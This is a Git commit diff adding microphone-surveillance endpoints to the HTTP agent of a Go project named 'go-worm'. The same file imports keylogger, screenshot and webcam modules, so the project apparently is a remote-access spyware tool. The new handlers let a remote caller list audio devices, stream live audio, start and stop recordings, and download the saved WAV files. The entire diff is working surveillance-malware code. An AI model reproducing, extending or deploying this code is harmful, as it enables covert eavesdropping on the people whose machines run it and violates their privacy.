This commit is contained in:
2026-09-02 01:00:09 +03:00
parent 166744fe88
commit eaa46e7494
17 changed files with 1351 additions and 0 deletions
+161
View File
@@ -21,6 +21,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/input"
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
"tea.chunkbyte.com/kato/go-worm/lib/mic"
"tea.chunkbyte.com/kato/go-worm/lib/models"
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
@@ -411,6 +412,166 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
_, _ = w.Write(frame.Data)
}
func parseMicDevice(r *http.Request) (int, error) {
device := 0
if raw := r.URL.Query().Get("device"); raw != "" {
var err error
device, err = strconv.Atoi(raw)
if err != nil || device < 0 {
return 0, errors.New("device must be 0 or greater")
}
}
return device, nil
}
func (a *Agent) handleMic(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
devices, err := mic.List()
if err != nil {
helpers.Log.Printf("mic list: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
return
}
if devices == nil {
devices = []mic.Device{}
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices})
case http.MethodDelete:
mic.Stop()
w.WriteHeader(http.StatusNoContent)
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
}
}
func (a *Agent) handleMicChunk(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
device, err := parseMicDevice(r)
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
data, err := mic.Chunk(device)
if errors.Is(err, mic.ErrNoAudio) {
w.WriteHeader(http.StatusNoContent)
return
}
if errors.Is(err, mic.ErrDeviceNotFound) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
if err != nil {
helpers.Log.Printf("mic chunk: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
return
}
w.Header().Set("Content-Type", "audio/wav")
w.Header().Set("Content-Length", strconv.Itoa(len(data)))
_, _ = w.Write(data)
}
func (a *Agent) handleMicRecord(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodPost:
device, err := parseMicDevice(r)
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
name, err := mic.StartRecord(device)
if errors.Is(err, mic.ErrAlreadyRecording) {
helpers.WriteError(w, http.StatusConflict, err.Error())
return
}
if errors.Is(err, mic.ErrDeviceNotFound) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
if err != nil {
helpers.Log.Printf("mic record start: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "recording": true})
case http.MethodDelete:
name, size, err := mic.StopRecord()
if errors.Is(err, mic.ErrNotRecording) {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
return
}
if err != nil {
helpers.Log.Printf("mic record stop: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "size": size, "recording": false})
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
}
}
func (a *Agent) handleMicRecordings(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
files, err := mic.ListRecordings()
if err != nil {
helpers.Log.Printf("mic recordings list: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not list recordings")
return
}
dir, err := mic.Dir()
if err != nil {
helpers.Log.Printf("mic dir: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not resolve mic directory")
return
}
if files == nil {
files = []mic.FileInfo{}
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files, "recording": mic.Recording()})
}
func (a *Agent) handleMicDownload(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
name := r.URL.Query().Get("file")
if name == "" {
helpers.WriteError(w, http.StatusBadRequest, "file is required")
return
}
if !mic.ValidRecordingFilename(name) {
helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name")
return
}
file, info, err := mic.OpenRecording(name)
if err != nil {
if errors.Is(err, os.ErrNotExist) {
helpers.WriteError(w, http.StatusNotFound, "recording not found")
return
}
if errors.Is(err, os.ErrInvalid) {
helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name")
return
}
helpers.Log.Printf("mic download: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not open recording")
return
}
defer file.Close()
w.Header().Set("Content-Type", "audio/wav")
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
w.Header().Set("Accept-Ranges", "bytes")
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
}
func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")